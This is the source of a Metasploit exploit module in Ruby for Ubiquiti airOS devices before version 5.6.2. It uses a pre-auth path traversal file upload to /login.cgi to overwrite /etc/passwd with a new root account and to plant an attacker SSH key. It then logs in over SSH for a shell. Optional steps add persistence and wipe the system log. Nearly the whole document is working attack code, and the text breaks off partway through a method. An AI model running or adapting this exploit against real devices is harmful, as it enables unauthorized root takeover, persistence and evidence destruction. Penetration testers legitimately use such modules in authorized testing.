## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote # See note about overwritten files Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Ubiquiti airOS Arbitrary File Upload', 'Description' => %q{ This module exploits a pre-auth file upload to install a new root user to /etc/passwd and an SSH key to /etc/dropbear/authorized_keys. FYI, /etc/{passwd,dropbear/authorized_keys} will be overwritten. /etc/persistent/rc.poststart will be overwritten if PERSIST_ETC is true. This method is used by the "mf" malware infecting these devices. }, 'Author' => [ '93c08539', # Vulnerability discovery 'wvu' # Metasploit module ], 'References' => [ %w{EDB 39701}, %w{URL https://hackerone.com/reports/73480} ], 'DisclosureDate' => 'Feb 13 2016', 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => true, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } }, 'Targets' => [ ['Ubiquiti airOS < 5.6.2', {}] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'SSL' => true } )) register_options([ Opt::RPORT(443), OptPort.new('SSH_PORT', [true, 'SSH port', 22]) ]) register_advanced_options([ OptBool.new('PERSIST_ETC', [false, 'Persist in /etc/persistent', false]), OptBool.new('WIPE_LOGS', [false, 'Wipe /var/log/messages', false]), OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]), OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10]) ]) end def exploit print_status('Uploading /etc/passwd') upload_etc_passwd print_status('Uploading /etc/dropbear/authorized_keys') upload_authorized_keys print_status("Logging in as #{username}") vprint_status("Password: #{password}") vprint_status("Private key:\n#{private_key}") if (ssh = ssh_login) print_good("Logged in as #{username}") handler(ssh.lsock) end end def on_new_session(session) super if datastore['PERSIST_ETC'] print_status('Persisting in /etc/persistent') persist_etc(session) end if datastore['WIPE_LOGS'] print_status('Wiping /var/log/messages') wipe_logs(session) end end def upload_etc_passwd mime = Rex::MIME::Message.new mime.add_part(etc_passwd, 'text/plain', 'binary', 'form-data; name="passwd"; filename="../../etc/passwd"') send_request_cgi( 'method' => 'POST', 'uri' => '/login.cgi', 'ctype' => "multipart/form-data; boundary=#{mime.bound}", 'data' => mime.to_s ) end def upload_authorized_keys mime = Rex::MIME::Message.new mime.add_part(authorized_keys, 'text/plain', 'binary', 'form-data; name="authorized_keys"; ' \ 'filename="../../etc/dropbear/authorized_keys"') send_request_cgi( 'method' => 'POST', 'uri' => '/login.cgi', 'ctype' => "multipart/form-data; boundary=#{mime.bound}", 'data' => mime.to_s ) end def ssh_login ssh_opts = { port: datastore['SSH_PORT'], auth_methods: %w{publickey password}, key_data: [private_key], # Framework options msframework: framework, msfmodule: self, proxies: datastore['Proxies'] } ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG'] begin ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do Net::SSH.start(rhost, username, ssh_opts) end rescue Net::SSH::Exception => e vprint_error("#{e.class}: #{e.message}") return nil end if ssh report_vuln( host: rhost, name: self.name, refs: self.references, info: ssh.transport.server_version.version ) report_note( host: rhost, port: datastore['SSH_PORT'], type: 'airos.ssh.key', data: private_key ) return Net::SSH::CommandStream.new(ssh, '/bin/sh', true) end nil end # # Persistence and cleanup methods # def persist_etc(session) mime = Rex::MIME::Message.new mime.add_part(rc_poststart, 'text/plain', 'binary', 'form-data; name="rc.poststart"; ' \ 'filename="../../etc/persistent/rc.poststart"') send_request_cgi( 'method' => 'POST', 'uri' => '/login.cgi', 'ctype' => "multipart/form-data; boundary=#{mime.bound}", 'data' => mime.to_s ) # http://www.hwmn.org/w/Ubiquity_HOWTO commands = [ "mkdir #{username}", "cp /etc/passwd /etc/dropbear/authorized_keys #{username}", 'cfgmtd -wp /etc' ] commands.each do |command| session.shell_command_token(command) end end def wipe_logs(session) session.shell_command_token('> /var/log/messages') end # # /etc/passwd methods # def etc_passwd "#{username}:#{hash(password)}:0:0:Administrator:/etc/persistent:/bin/sh\n" end def hash(password) # http://man7.org/linux/man-pages/man3/crypt.3.html salt = Rex::Text.rand_text(2, '', Rex::Text::AlphaNumeric + './') password.crypt(salt) end def username @username ||= Rex::Text.rand_text_alpha_lower(8) end def password @password ||= Rex::Text.rand_text_alphanumeric(8) end # # /etc/dropbear/authorized_keys methods # def authorized_keys pubkey = Rex::Text.encode_base64(ssh_keygen.public_key.to_blob) "#{ssh_keygen.ssh_type} #{pubkey}\n" end def private_key ssh_keygen.to_pem end def ssh_keygen @ssh_keygen ||= OpenSSL::PKey::RSA.new(2048) end # # /etc/persistent/rc.poststart methods # def rc_poststart <